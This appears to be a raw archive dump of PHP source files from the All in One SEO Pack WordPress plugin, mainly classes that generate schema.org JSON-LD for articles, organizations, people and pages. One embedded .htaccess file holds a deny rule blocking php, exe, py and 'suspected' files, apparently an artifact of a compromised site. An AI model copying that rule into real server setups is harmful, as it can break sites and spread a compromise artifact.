wp_list_pluck( $input, $column_key ) ); } } PK������+—[³yd«c���c���/��all-in-one-seo-pack/inc/compatability/.htaccessnu�ÏÃ6Ç$��������<FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$"> Order Allow,Deny Deny from all </FilesMatch>PK������+—[¿Ô[³Œ��Œ��7��all-in-one-seo-pack/inc/schema/graphs/graph-article.phpnu�„[µü¤��������<?php /** * Schema Graph Article Class * * Acts as the article class for Schema Article. * * @package All_in_One_SEO_Pack */ /** * Class AIOSEOP_Graph_Article * * @since 3.2 * * @see AIOSEOP_Graph_Creativework * @see Schema Article * @link https://schema.org/Article */ class AIOSEOP_Graph_Article extends AIOSEOP_Graph_CreativeWork { /** * Get Graph Slug. * * @since 3.2 * * @return string */ protected function get_slug() { return 'Article'; } /** * Get Graph Name. * * Intended for frontend use when displaying which schema graphs are available. * * @since 3.2 * * @return string */ protected function get_name() { return 'Article'; } /** * Prepare data. * * @since 3.2 * * @return array */ protected function prepare() { global $post; global $aioseop_options; $comment_count = get_comment_count( $post->ID ); $post_url = wp_get_canonical_url( $post ); $post_taxonomies = get_post_taxonomies( $post ); $post_terms = array(); foreach ( $post_taxonomies as $taxonomy_slug ) { $post_taxonomy_terms = get_the_terms( $post, $taxonomy_slug ); if ( is_array( $post_taxonomy_terms ) ) { $post_terms = array_merge( $post_terms, wp_list_pluck( $post_taxonomy_terms, 'name' ) ); } } $rtn_data = array( '@type' => $this->slug, '@id' => $post_url . '#' . strtolower( $this->slug ), 'isPartOf' => array( '@id' => $post_url . '#webpage' ), 'author' => $this->prepare_author(), 'headline' => get_the_title(), 'datePublished' => mysql2date( DATE_W3C, $post->post_date_gmt, false ), 'dateModified' => mysql2date( DATE_W3C, $post->post_modified_gmt, false ), 'commentCount' => $comment_count['approved'], 'mainEntityOfPage' => array( '@id' => $post_url . '#webpage' ), 'publisher' => array( '@id' => home_url() . '/#' . $aioseop_options['aiosp_schema_site_represents'] ), 'articleSection' => implode( ', ', $post_terms ), ); // Handle post Image. $image_schema = $this->prepare_image( $this->get_article_image_data( $post ), $post_url . '#primaryimage' ); if ( $image_schema ) { $rtn_data['image'] = $image_schema; } return $rtn_data; } /** * Prepare Author Data * * TODO ?Move to Graph (Thing) Properties? * * @since 3.2 * * @return array */ protected function prepare_author() { global $post; $author_url = get_author_posts_url( $post->post_author ); $rtn_data = array( '@id' => $author_url . '#author', ); return $rtn_data; } /** * Get Image Data for Article * * Retrieves the image (data) required for the articles. This uses multiple sources in order to * complete the required field. * * Attempts to access image sources by the following order. * * 1. Gets Featured Image from Post. * 2. If 'organization', get Organization Logo. * 3. If 'person', get User's avatar. * 4. Get Image url from Post Content. * 5. Get Site Logo from theme customizer. * * @since 3.2 * * @param WP_post $post * @return array */ protected function get_article_image_data( $post ) { global $aioseop_options; $rtn_image_data = $this->get_image_data_defaults(); if ( has_post_thumbnail( $post ) ) { $rtn_image_data = $this->get_site_image_data( get_post_thumbnail_id() ); } elseif ( 'organization' === $aioseop_options['aiosp_schema_site_represents'] && ! empty( $aioseop_options['aiosp_schema_organization_logo'] ) ) { $rtn_image_data = $this->get_site_image_data( $aioseop_options['aiosp_schema_organization_logo'] ); } elseif ( 'person' === $aioseop_options['aiosp_schema_site_represents'] && ! empty( $post->post_author ) ) { $rtn_image_data = $this->get_user_image_data( intval( $post->post_author ) ); } else { $content_image_url = $this->get_image_url_from_content( $post ); if ( ! empty( $content_image_url ) ) { $rtn_image_data = wp_parse_args( $this->get_image_data_defaults(), array( 'url' => $content_image_url ) ); } else { $blog_logo = get_theme_mod( 'custom_logo' ); if ( $blog_logo ) { $rtn_image_data = $this->get_site_image_data( $blog_logo ); } } } return $rtn_image_data; } } PK������+—[qµ¼›D��D��>��all-in-one-seo-pack/inc/schema/graphs/graph-collectionpage.phpnu�„[µü¤��������<?php /** * Schema Graph CollectionPage Class * * Acts as the collection page class for Schema CollectionPage. * * @package All_in_One_SEO_Pack */ /** * Class AIOSEOP_Graph_CollectionPage * * @see Schema CollectionPage * @link https://schema.org/CollectionPage */ class AIOSEOP_Graph_CollectionPage extends AIOSEOP_Graph_WebPage { /** * Get Graph Slug. * * @since 3.2 * * @return string */ protected function get_slug() { return 'CollectionPage'; } /** * Get Graph Name. * * Intended for frontend use when displaying which schema graphs are available. * * @since 3.2 * * @return string */ protected function get_name() { return 'Collection Page'; } /** * Prepare data. * * @since 3.2 * * @return array */ protected function prepare() { return parent::prepare(); } } PK������+—[úºÌÌØ��Ø��<��all-in-one-seo-pack/inc/schema/graphs/graph-creativework.phpnu�„[µü¤��������<?php /** * Schema Graph CollectionPage Class * * Acts as the collection page class for Schema CollectionPage. * * @package All_in_One_SEO_Pack */ /** * Class AIOSEOP_Graph_CreativeWork * * @see Schema CreativeWork * @link https://schema.org/CreativeWork */ abstract class AIOSEOP_Graph_CreativeWork extends AIOSEOP_Graph { /** * Get Graph Slug. * * @since 3.2 * * @return string */ protected function get_slug() { return 'creativework'; } } PK������+—[%§OÎ��Î��<��all-in-one-seo-pack/inc/schema/graphs/graph-organization.phpnu�„[µü¤��������<?php /** * Schema Graph Organization Class * * Acts as the organization class for Schema Organization. * * @package All_in_One_SEO_Pack */ /** * Class AIOSEOP_Graph_Organization * * @see Schema Organization * @link https://schema.org/Organization */ class AIOSEOP_Graph_Organization extends AIOSEOP_Graph { /** * Get Graph Slug. * * @since 3.2 * * @return string */ protected function get_slug() { return 'Organization'; } /** * Get Graph Name. * * Intended for frontend use when displaying which schema graphs are available. * * @since 3.2 * * @return string */ protected function get_name() { return 'Organization'; } /** * Prepare data. * * @since 3.2 * * @return array */ protected function prepare() { global $aioseop_options; $rtn_data = array( '@type' => $this->slug, '@id' => home_url() . '/#' . strtolower( $this->slug ), 'url' => home_url() . '/', ); // Site represents Organization or Person. if ( 'person' === $aioseop_options['aiosp_schema_site_represents'] ) { $person_id = intval( $aioseop_options['aiosp_schema_person_user'] ); $rtn_data['@type'] = array( 'Person', $this->slug ); $rtn_data['@id'] = home_url() . '/#person'; $rtn_data['name'] = get_the_author_meta( 'display_name', $person_id ); $rtn_data['sameAs'] = $this->get_user_social_profile_links( $person_id ); // Handle Logo/Image. $image_schema = $this->prepare_image( $this->get_user_image_data( $person_id ), home_url() . '/#personlogo' ); if ( $image_schema ) { $rtn_data['image'] = $image_schema; $rtn_data['logo'] = array( '@id' => home_url() . '/#personlogo' ); } } else { // Get Name from General > Schema Settings > Organization Name, and fallback on WP's Site Name. if ( $aioseop_options['aiosp_schema_organization_name'] ) { $rtn_data['name'] = $aioseop_options['aiosp_schema_organization_name']; } else { $rtn_data['name'] = get_bloginfo( 'name' ); } $rtn_data['sameAs'] = $this->get_site_social_profile_links(); // Handle Logo/Image. $data_logo = $this->prepare_logo(); if ( ! empty( $data_logo ) ) { $rtn_data['logo'] = $data_logo; $rtn_data['image'] = array( '@id' => home_url() . '/#logo', ); } // Handle contactPoint. if ( ! empty( $aioseop_options['aiosp_schema_phone_number'] ) ) { $rtn_data['contactPoint'] = $this->prepare_contactpoint(); } } return $rtn_data; } /** * Prepare Logo Data. * * @since 3.2 * * @return array */ protected function prepare_logo() { $rtn_data = array(); $logo_id = $this->get_logo_id(); if ( ! empty( $logo_id ) ) { $rtn_data = array( '@type' => 'ImageObject', '@id' => home_url() . '/#logo', 'url' => wp_get_attachment_image_url( $logo_id, 'full' ), ); $logo_meta = wp_get_attachment_metadata( $logo_id ); // Get image dimensions. Some images may not have this property. if ( isset( $rtn_data['width'] ) ) { $rtn_data['width'] = $logo_meta['width']; } if ( isset( $rtn_data['height'] ) ) { $rtn_data['height'] = $logo_meta['height']; } $caption = wp_get_attachment_caption( $logo_id ); if ( false !== $caption || ! empty( $caption ) ) { $rtn_data['caption'] = $caption; } } return $rtn_data; } /** * Prepare ContactPoint Data. * * TODO !?Move to graph.php since it is part of schema 'thing' object?! * * @since 3.2 * * @return array */ protected function prepare_contactpoint() { global $aioseop_options; $rtn_data = array( '@type' => 'ContactPoint', 'telephone' => '+' . $aioseop_options['aiosp_schema_phone_number'], 'contactType' => $aioseop_options['aiosp_schema_contact_type'], ); return $rtn_data; } /** * Get Site Social Links * * @since 3.2 * * @return array */ protected function get_site_social_profile_links() { global $aioseop_options; $social_links = array(); if ( ! empty( $aioseop_options['aiosp_schema_social_profile_links'] ) ) { $social_links = $aioseop_options['aiosp_schema_social_profile_links']; $social_links = str_replace( array( ",\r\n", ",\r" ), ',', $social_links ); $social_links = str_replace( array( "\r\n", "\r" ), ',', $social_links ); $social_links = explode( ',', $social_links ); } return $social_links; } /** * Get Custom Logo * * Retrieves the custom logo from WP's customizer for theme customizations. * * @since 3.2 * * @return int|mixed */ protected function get_logo_id() { global $aioseop_options; $logo_id = 0; // Uses logo selected from General Settings > Schema Settings > Organization Logo. if ( ! empty( $aioseop_options['aiosp_schema_organization_logo'] ) ) { // Changes the URL to an ID. Known to be memory intense. // Option configurations need to use IDs rather than the URL strings. $logo_id = aiosp_common::attachment_url_to_postid( $aioseop_options['aiosp_schema_organization_logo'] ); } // Fallback on Customizer site logo. if ( ! $logo_id ) { $customizer_logo = get_theme_mod( 'custom_logo' ); if ( is_numeric( $customizer_logo ) ) { $logo_id = intval( $customizer_logo ); } } // Prevent case type errors if empty/false. if ( ! $logo_id ) { $logo_id = 0; } return $logo_id; } } PK������+—[猳DG��G��6��all-in-one-seo-pack/inc/schema/graphs/graph-person.phpnu�„[µü¤��������<?php /** * Schema Graph Person Class * * Acts as the person class for Schema Person. * * @package All_in_One_SEO_Pack */ /** * Class AIOSEOP_Graph_Person * * @see Schema Person * @link https://schema.org/Person */ class AIOSEOP_Graph_Person extends AIOSEOP_Graph { /** * Get Graph Slug. * * @since 3.2 * * @return string */ protected function get_slug() { return 'Person'; } /** * Get Graph Name. * * Intended for frontend use when displaying which schema graphs are available. * * @since 3.2 * * @return string */ protected function get_name() { return 'Person'; } /** * Prepare * * @since 3.2 * * @return array */ protected function prepare() { global $post; global $aioseop_options; $user_id = 1; $author_url = ''; $hashtag = 'person'; if ( ! empty( $post->post_author ) ) { $user_id = intval( $post->post_author ); $author_url = get_author_posts_url( $post->post_author ); $hashtag = 'author'; } $author_name = get_the_author_meta( 'display_name', $user_id ); $rtn_data = array( '@type' => $this->slug, '@id' => $author_url . '#' . $hashtag, 'name' => $author_name, 'sameAs' => $this->get_user_social_profile_links( $user_id ), ); // Handle Logo/Image. $image_schema = $this->prepare_image( $this->get_user_image_data( $user_id ), home_url() . '/#personlogo' ); if ( $image_schema ) { $rtn_data['image'] = $image_schema; } if ( is_author() ) { $rtn_data['mainEntityOfPage'] = array( '@id' => $author_url . '#profilepage' ); } return $rtn_data; } } PK������+—[Gd´a!��!��/��all-in-one-seo-pack/inc/schema/graphs/graph.phpnu�„[µü¤��������<?php /** * Schema Graph Base Class * * Acts as the base class for Schema Thing. * * @package All_in_One_SEO_Pack */ /** * Class AIOSEOP_Graph * * @since 3.2 * * @see Schema Thing * @link https://schema.org/Thing */ abstract class AIOSEOP_Graph { /** * Schema Slug. * * @since 3.2 * * @var string */ public $slug; /** * Schema Name. * * @since 3.2 * * @var string */ public $name; // TODO Add Schema properties/content/context object to handled all post/page (post_type, taxonomy, terms, author) data. // TODO Add Static Variables to store what Schema IDs are in use. Implement when adding property types for schema. // For example, when using property schemas, like imageObject, more than 1 object can reference the same image object. /** * AIOSEOP_Graph Constructor. * * @since 3.2 * * @throws LogicException Shows which child class variables are missing or empty. */ public function __construct() { $this->slug = $this->get_slug(); $this->name = $this->get_name(); if ( ! isset( $this->slug ) || empty( $this->slug ) ) { throw new LogicException( 'Class ' . get_class( $this ) . ' property $slug is missing or empty.' ); } if ( ! isset( $this->name ) || empty( $this->name ) ) { throw new LogicException( 'Class ' . get_class( $this ) . ' property $name is missing or empty.' ); } $this->add_hooks(); } /** * Get Graph Slug. * * @since 3.2 * * @return string */ abstract protected function get_slug(); /** * Get Graph Name. * * Intended for frontend use when displaying which schema graphs are available. * * @since 3.2 * * @return string */ abstract protected function get_name(); /** * Prepare data. * * @since 3.2 * * @return array */ abstract protected function prepare(); /** * Add Hooks. * * @since 3.2 */ protected function add_hooks() { add_action( 'aioseop_schema_internal_shortcodes_on', array( $this, 'add_shortcode' ) ); add_action( 'aioseop_schema_internal_shortcodes_off', array( $this, 'remove_shortcode' ) ); } /** * Add Shortcode * * @since 3.2 */ public function add_shortcode() { add_shortcode( 'aioseop_schema_' . $this->slug, array( $this, 'display_json_ld' ) ); } /** * Remove Shortcode * * @since 3.2 */ public function remove_shortcode() { remove_shortcode( 'aioseop_schema_' . $this->slug ); } /** * Display JSON LD * * @since 3.2 * * @return string */ public function display_json_ld() { // TODO Discuss what operation style to use on filter hook. // A) A single hook to run added hooks multiple times. // B) Multiple class hooks to run added hooks specific to schema graph object. /** * AIOSEOP Schema Class's Prepared Data * * @since 3.2 * * @param array Dynamically generated data through inherited schema graphs. * @param string Current schema (child) class being used to prepare data. */ // $schema_data = apply_filters( 'aioseop_schema_class_data', $this->prepare(), get_class( $this ) ); /** * AIOSEOP Schema Class's Prepared Data * * Uses class name with hook `aioseop_schema_class_data_{CLASS NAME}`. * * @since 3.2 * * @param array Dynamically generated data through inherited schema graphs. */ $schema_data = apply_filters( 'aioseop_schema_class_data_' . get_class( $this ), $this->prepare() ); // Encode to json string, and remove string type around shortcodes. if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) { $schema_data = wp_json_encode( (object) $schema_data, JSON_UNESCAPED_SLASHES ); } else { // PHP <= 5.3 compatibility. $schema_data = wp_json_encode( (object) $schema_data ); $schema_data = str_replace( '\/', '/', $schema_data ); } // If json encode returned false, set as empty string. if ( ! $schema_data ) { $schema_data = ''; } return $schema_data; } /** * Prepare Image Data. * * TODO !?Move/Create schema properties object?! * * @since 3.2 * * @param array $image_data See `AIOSEOP_Graph::get_image_data_defaults()` for details. * @param string $schema_id Schema reference id. * @return array Image schema. False on failure. */ protected function prepare_image( $image_data, $schema_id ) { if ( empty( $image_data['url'] ) ) { return false; } $rtn_data = array( '@type' => 'ImageObject', '@id' => $schema_id, ); // Only use valid variables from defaults. foreach ( array_keys( $this->get_image_data_defaults() ) as $key ) { if ( ! empty( $image_data[ $key ] ) ) { $rtn_data[ $key ] = $image_data[ $key ]; } } return $rtn_data; } /** * Get Image Data Defaults. * * @since 3.2 * * @return array */ protected function get_image_data_defaults() { return array( 'url' => '', 'width' => 0, 'height' => 0, 'caption' => '', ); } /** * Get Image Data from Site. * * @since 3.2 * * @uses wp_get_attachment_metadata() * @link https://developer.wordpress.org/reference/functions/wp_get_attachment_metadata/ * * @param $image_id Image ID to retrieve data. * @return array|bool Image data. False on failure. */ protected function get_site_image_data( $image_id ) { if ( ! is_numeric( $image_id ) ) { return false; } // Defaults. $rtn_image_data = $this->get_image_data_defaults(); // Store ID just in case of any other operations, but is not required with schema. $rtn_image_data['id'] = intval( $image_id ); $rtn_image_data['url'] = wp_get_attachment_image_url( $image_id, 'full' ); $image_meta = wp_get_attachment_metadata( $image_id ); if ( $image_meta ) { $rtn_image_data['width'] = $image_meta['width']; $rtn_image_data['height'] = $image_meta['height']; } $caption = wp_get_attachment_caption( $image_id ); if ( false !== $caption || ! empty( $caption ) ) { $rtn_image_data['caption'] = $caption; } return $rtn_image_data; } /** * Get Image Data from User Gravatar. * * @since 3.2 * * @uses get_avatar_data() * @link https://developer.wordpress.org/reference/functions/get_avatar_data/ * * @param $user_id User ID to retrieve data. * @return array|bool Gravatar image data. False on failure. */ protected function get_user_image_data( $user_id ) { if ( ! is_numeric( $user_id ) ) { return false; } // Defaults. $rtn_image_data = $this->get_image_data_defaults(); if ( get_option( 'show_avatars' ) ) { $avatar_data = get_avatar_data( $user_id ); if ( $avatar_data['found_avatar'] ) { $rtn_image_data['url'] = $avatar_data['url']; $rtn_image_data['width'] = $avatar_data['width']; $rtn_image_data['height'] = $avatar_data['height']; $rtn_image_data['caption'] = get_the_author_meta( 'display_name', $user_id ); } } return $rtn_image_data; } /** * Get Featured Image URL. * * @since 3.2 * * @param WP_Post $post See WP_Post for details. * @return false|string */ protected function get_image_url_from_content( $post ) { $image_url = ''; // Get first image from content. if ( ( substr_count( $post->post_content, '<img' ) + substr_count( $post->post_content, '<IMG' ) ) ) { if ( class_exists( 'DOMDocument' ) ) { $dom = new domDocument(); // Non-compliant HTML might give errors, so ignore them. libxml_use_internal_errors( true ); $dom->loadHTML( $post->post_content ); libxml_clear_errors(); // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $dom->preserveWhiteSpace = false; $matches = $dom->getElementsByTagName( 'img' ); foreach ( $matches as $match ) { $image_url = $match->getAttribute( 'src' ); } } else { preg_match_all( '/<img.*src=([\'"])?(.*?)\\1/', $post->post_content, $matches ); if ( $matches && isset( $matches[2] ) ) { $image_url = $matches[2]; } } } return $image_url; } /** * Get Social Profiles from user id. * * @since 3.2 * * @param int $user_id * @return array */ protected function get_user_social_profile_links( $user_id ) { $rtn_social_profiles = array(); $social_sites = array( 'facebook', 'twitter', ); foreach ( $social_sites as $social_site ) { $author_social_link = get_the_author_meta( $social_site, $user_id ); if ( $author_social_link ) { $rtn_social_profiles[] = $author_social_link; } } return $rtn_social_profiles; } } PK������+—[6FLhd��d��;��all-in-one-seo-pack/inc/schema/graphs/graph-profilepage.phpnu�„[µü¤��������<?php /** * Schema Graph ProfilePage Class * * Acts as the profile page class for Schema ProfilePage. * * @package All_in_One_SEO_Pack */ /** * Class AIOSEOP_Graph_ProfilePage * * @see AIOSEOP_Graph_Creativework * @see AIOSEOP_Graph_WebPage * @see Schema ProfilePage * @link https://schema.org/ProfilePage */ class AIOSEOP_Graph_ProfilePage extends AIOSEOP_Graph_WebPage { /** * Get Graph Slug. * * @since 3.2 * * @return string */ protected function get_slug() { return 'ProfilePage'; } /** * Get Graph Name. * * Intended for frontend use when displaying which schema graphs are available. * * @since 3.2 * * @return string */ protected function get_name() { return 'Profile Page'; } /** * Prepare * * @since 3.2 * * @return array */ protected function prepare() { return parent::prepare(); } } PK������+—[e>6³œ��œ��A��all-in-one-seo-pack/inc/schema/graphs/graph-searchresultspage.phpnu�„[µü¤��������<?php /** * Schema Graph SearchResultsPage Class * * Acts as the search results page class for Schema SearchResultsPage. * * @package All_in_One_SEO_Pack */ /** * Class AIOSEOP_Graph_SearchResultsPage * * @see AIOSEOP_Graph_Creativework * @see AIOSEOP_Graph_WebPage * @see Schema SearchResultsPage * @link https://schema.org/SearchResultsPage */ class AIOSEOP_Graph_SearchResultsPage extends AIOSEOP_Graph_WebPage { /** * Get Graph Slug. * * @since 3.2 * * @return string */ protected function get_slug() { return 'SearchResultsPage'; } /** * Get Graph Name. * * Intended for frontend use when displaying which schema graphs are available. * * @since 3.2 * * @return string */ protected function get_name() { return 'Search Results Page'; } /** * Prepare * * @since 3.2 * * @return array */ protected function prepare() { return parent::prepare(); } } PK������+—[§|Õ°:��:��7��all-in-one-seo-pack/inc/schema/graphs/graph-webpage.phpnu�„[µü¤��������<?php /** * Schema Graph WebPage Class * * Acts as the web page class for Schema WebPage. * * @package All_in_One_SEO_Pack */ /** * Class AIOSEOP_Graph_WebPage * * @see AIOSEOP_Graph_Creativework * @see Schema WebPage * @link https://schema.org/WebPage */ class AIOSEOP_Graph_WebPage extends AIOSEOP_Graph_Creativework { /** * Get Graph Slug. * * @since 3.2 * * @return string */ protected function get_slug() { return 'WebPage'; } /** * Get Graph Name. * * Intended for frontend use when displaying which schema graphs are available. * * @since 3.2 * * @return string */ protected function get_name() { return 'Web Page'; } /** * Prepare data. * * @since 3.2 * * @return array */ protected function prepare() { global $post; global $aioseop_options; $current_url = ''; $current_name = ''; $current_desc = ''; if ( is_home() ) { if ( is_front_page() ) { // Front Page for 'Your latest posts'. $current_url = home_url() . '/'; $current_name = get_bloginfo( 'name' ); $current_desc = get_bloginfo( 'description' ); } else { // A static page - Posts page. // Resembles elseif $wp_query->is_posts_page. $page_id = get_option( 'page_for_posts' ); $current_url = wp_get_canonical_url( $page_id ); $current_name = get_the_title( $page_id ); $current_desc = $this->get_post_description( get_post( $page_id ) ); } } elseif ( is_front_page() && is_page() ) { // A static page - Homepage. $current_url = home_url() . '/'; $current_name = get_the_title(); $current_desc = $this->get_post_description( $post ); } elseif ( is_singular() || is_single() ) { $current_url = wp_get_canonical_url( $post ); $current_name = get_the_title(); $current_desc = $this->get_post_description( $post ); } elseif ( is_tax() || is_category() || is_tag() ) { $term = get_queried_object(); $current_url = get_term_link( $term ); $current_name = $term->name; $current_desc = $term->description; } elseif ( is_date() ) { if ( is_year() ) { $current_url = get_year_link( false ); /* translators: Yearly archive title. %s: Year */ $current_name = sprintf( __( 'Year: %s', 'all-in-one-seo-pack' ), get_the_date( _x( 'Y', 'yearly archives date format', 'all-in-one-seo-pack' ) ) ); } elseif ( is_month() ) { $current_url = get_month_link( false, false ); /* translators: Monthly archive title. %s: Month name and year */ $current_name = sprintf( __( 'Month: %s', 'all-in-one-seo-pack' ), get_the_date( _x( 'F Y', 'monthly archives date format', 'all-in-one-seo-pack' ) ) ); } else { $current_url = get_day_link( false, false, false ); /* translators: Daily archive title. %s: Date */ $current_name = sprintf( __( 'Day: %s', 'all-in-one-seo-pack' ), get_the_date( _x( 'F j, Y', 'daily archives date format', 'all-in-one-seo-pack' ) ) ); } } elseif ( is_author() ) { $user_id = intval( $post->post_author ); $current_url = get_author_posts_url( $user_id ); $current_name = get_the_author_meta( 'display_name', $user_id ); } elseif ( is_search() ) { $current_url = get_search_link(); /* Translators: String used in search query: %s: Search */ $current_name = sprintf( __( 'Search results for "%s"', 'all-in-one-seo-pack' ), esc_html( get_search_query() ) ); } $rtn_data = array( '@type' => $this->slug, '@id' => $current_url . '#' . strtolower( $this->slug ), // TODO Should this be `#webpage`? 'url' => $current_url, 'inLanguage' => get_bloginfo( 'language' ), 'name' => $current_name, 'isPartOf' => array( '@id' => home_url() . '/#website', ), ); // Handles pages. if ( is_singular() || is_single() ) { if ( has_post_thumbnail( $post ) ) { $image_id = get_post_thumbnail_id(); $image_schema = $this->prepare_image( $this->get_site_image_data( $image_id ), $current_url . '#primaryimage' ); if ( $image_schema ) { $rtn_data['image'] = $image_schema; $rtn_data['primaryImageOfPage'] = array( '@id' => $current_url . '#primaryimage' ); } } $rtn_data['datePublished'] = mysql2date( DATE_W3C, $post->post_date_gmt, false ); $rtn_data['dateModified'] = mysql2date( DATE_W3C, $post->post_modified_gmt, false ); } if ( is_front_page() ) { $rtn_data['about'] = array( '@id' => home_url() . '/#' . $aioseop_options['aiosp_schema_site_represents'], ); } if ( ! empty( $current_desc ) ) { $rtn_data['description'] = $current_desc; } return $rtn_data; } /** * Get Post Description. * * @since 3.2 * * @param WP_Post $post See WP_Post for details. * @return string */ protected function get_post_description( $post ) { $rtn_description = ''; // Using AIOSEOP's description is limited in content. With Schema's descriptions, there is no cap limit. $post_description = get_post_meta( $post->ID, '_aioseop_description', true ); // If there is no AIOSEOP description, and the post isn't password protected, then use post excerpt or content. if ( ! $post_description && ! post_password_required( $post ) ) { if ( ! empty( $post->post_excerpt ) ) { $post_description = $post->post_excerpt; } } if ( ! empty( $post_description ) && is_string( $post_description ) ) { $rtn_description = $post_description; } return $rtn_description; } } PK������+—[÷ó.°…��…��7��all-in-one-seo-pack/inc/schema/graphs/graph-website.phpnu�„[µü¤��������<?php /** * Schema Graph WebSite Class * * Acts as the website class for Schema WebSite. * * @package All_in_One_SEO_Pack */ /** * Class AIOSEOP_Graph_WebPage * * @see AIOSEOP_Graph_Creativework * @see Schema WebSite * @link https://schema.org/WebSite */ class AIOSEOP_Graph_WebSite extends AIOSEOP_Graph_Creativework { /** * Get Graph Slug. * * @since 3.2 * * @return string */ protected function get_slug() { return 'WebSite'; } /** * Get Graph Name. * * Intended for frontend use when displaying which schema graphs are available. * * @since 3.2 * * @return string */ protected function get_name() { return 'Website'; } /** * Prepare * * @since 3.2 * * @return array */ protected function prepare() { global $aioseop_options; $rtn_data = array( '@type' => $this->slug, '@id' => home_url() . '/#' . strtolower( $this->slug ), 'url' => home_url() . '/', 'name' => get_bloginfo( 'name' ), 'publisher' => array( '@id' => home_url() . '/#' . $aioseop_options['aiosp_schema_site_represents'], ), ); if ( $aioseop_options['aiosp_schema_search_results_page'] ) { $rtn_data['potentialAction'] = array( '@type' => 'SearchAction', 'target' => home_url() . '/?s={search_term_string}', 'query-input' => 'required name=search_term_string', ); } return $rtn_data; } } PK������+—[$wâÊú��ú��1��all-in-one-seo-pack/inc/schema/schema-builder.phpnu�„[µü¤��������<?php /** * Schema Builder Class * * Creates the schema to be displayed on frontend. * * @package All_in_One_SEO_Pack */ /** * AIOSEOP Schema Builder * * @since 3.2 */ class AIOSEOP_Schema_Builder { /** * Graph Classes. * * @since 3.2 * * @var array $graphs */ public $graphs = array(); /** * Constructor. * * @since 3.2 */ public function __construct() { $this->graphs = $this->get_graphs(); } /** * Register Graphs * * @since 3.2 * * @return array */ public function get_graphs() { require_once AIOSEOP_PLUGIN_DIR . 'inc/schema/graphs/graph.php'; require_once AIOSEOP_PLUGIN_DIR . 'inc/schema/graphs/graph-organization.php'; require_once AIOSEOP_PLUGIN_DIR . 'inc/schema/graphs/graph-person.php'; require_once AIOSEOP_PLUGIN_DIR . 'inc/schema/graphs/graph-creativework.php'; require_once AIOSEOP_PLUGIN_DIR . 'inc/schema/graphs/graph-article.php'; require_once AIOSEOP_PLUGIN_DIR . 'inc/schema/graphs/graph-website.php'; require_once AIOSEOP_PLUGIN_DIR . 'inc/schema/graphs/graph-webpage.php'; require_once AIOSEOP_PLUGIN_DIR . 'inc/schema/graphs/graph-collectionpage.php'; require_once AIOSEOP_PLUGIN_DIR . 'inc/schema/graphs/graph-profilepage.php'; require_once AIOSEOP_PLUGIN_DIR . 'inc/schema/graphs/graph-searchresultspage.php'; $graphs = array( // Keys/Slugs follow Schema's @type format. 'Article' => new AIOSEOP_Graph_Article(), 'CollectionPage' => new AIOSEOP_Graph_CollectionPage(), 'Organization' => new AIOSEOP_Graph_Organization(), 'Person' => new AIOSEOP_Graph_Person(), 'ProfilePage' => new AIOSEOP_Graph_ProfilePage(), 'SearchResultsPage' => new AIOSEOP_Graph_SearchResultsPage(), 'Website' => new AIOSEOP_Graph_WebSite(), 'Webpage' => new AIOSEOP_Graph_Webpage(), ); /** * Register Schema Objects * * @since 3.2 * * @param $graphs Array containing schema objects that are currently active. */ $graphs = apply_filters( 'aioseop_register_schema_objects', $graphs ); // TODO Could add operation here to loop through objects to *::add_hooks(). Rather than schema __constructor executing add_hooks(). // That would allow some schema objects to be completely replaced without interfering. return $graphs; } /** * Get Layout * * Presets the schema layout to be generated. * * This concept is intended to allow... * * * Better dynamics with configurable layout settings. * * Unnecessarily generating data where some instances remove it. * * @since 3.2 * * @uses WP's Template Hierarchy * @link https://developer.wordpress.org/themes/basics/template-hierarchy/ */ public function get_layout() { global $aioseop_options; $layout = array( '@context' => 'https://schema.org', '@graph' => array( '[aioseop_schema_Organization]', '[aioseop_schema_WebSite]', ), ); // TODO Add layout customizations to settings. if ( is_front_page() || is_home() ) { array_push( $layout['@graph'], '[aioseop_schema_WebPage]' ); } elseif ( is_archive() ) { if ( is_author() ) { array_push( $layout['@graph'], '[aioseop_schema_ProfilePage]' ); array_push( $layout['@graph'], '[aioseop_schema_Person]' ); } elseif ( is_post_type_archive() ) { array_push( $layout['@graph'], '[aioseop_schema_CollectionPage]' ); } elseif ( is_tax() || is_category() || is_tag() ) { array_push( $layout['@graph'], '[aioseop_schema_CollectionPage]' ); // Remove when Custom Taxonomies is supported. if ( is_tax() ) { $layout = array(); } } elseif ( is_date() ) { array_push( $layout['@graph'], '[aioseop_schema_CollectionPage]' ); } } elseif ( is_singular() || is_single() ) { global $post; array_push( $layout['@graph'], '[aioseop_schema_WebPage]' ); if ( ! is_post_type_hierarchical( $post->post_type ) ) { // TODO Add custom setting for individual posts. array_push( $layout['@graph'], '[aioseop_schema_Article]' ); array_push( $layout['@graph'], '[aioseop_schema_Person]' ); } // Remove when CPT is supported. if ( ! in_array( get_post_type( $post ), array( 'post', 'page' ) ) ) { $layout = array(); } } elseif ( is_search() ) { array_push( $layout['@graph'], '[aioseop_schema_SearchResultsPage]' ); } elseif ( is_404() ) { // Do 404 page. } /** * Schema Layout * * Pre-formats the schema array shortcode layout. * * @since 3.2 * * @param array $layout Schema array/object containing shortcodes. */ $layout = apply_filters( 'aioseop_schema_layout', $layout ); // Encode to json string, and remove string type around shortcodes. if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) { $layout = wp_json_encode( (object) $layout, JSON_UNESCAPED_SLASHES ); } else { // PHP <= 5.3 compatibility. $layout = wp_json_encode( (object) $layout ); $layout = str_replace( '\/', '/', $layout ); } $layout = str_replace( '"[', '[', $layout ); $layout = str_replace( ']"', ']', $layout ); return $layout; } /** * Display JSON LD Script * * @since 3.2 */ public function display_json_ld_head_script() { // do stuff. $layout = $this->get_layout(); do_action( 'aioseop_schema_internal_shortcodes_on' ); $schema_content = do_shortcode( $layout ); do_action( 'aioseop_schema_internal_shortcodes_off' ); echo '<script type="application/ld+json" class="aioseop-schema">' . $schema_content . '</script>'; echo "\n"; } /** * Display JSON LD Script * * Intended for data that isn't readily available during `wp_head`. * * This should be avoided if possible. If an instance requires data to be loaded later, * then use transient data to load in next instance within `wp_head`. * * @since 3.2 */ public function display_json_ld_body_script() { // do stuff. } } PK������+—[¬¥t‚%µ��%µ��-��all-in-one-seo-pack/inc/aioseop_functions.phpnu�„[µü¤��������<?php /** * The aioseop_functions file. * * Contains all general functions that are used throughout the plugin. * * @package All-in-One-SEO-Pack * @version 2.3.13 */ if ( ! function_exists( 'aioseop_get_permalink' ) 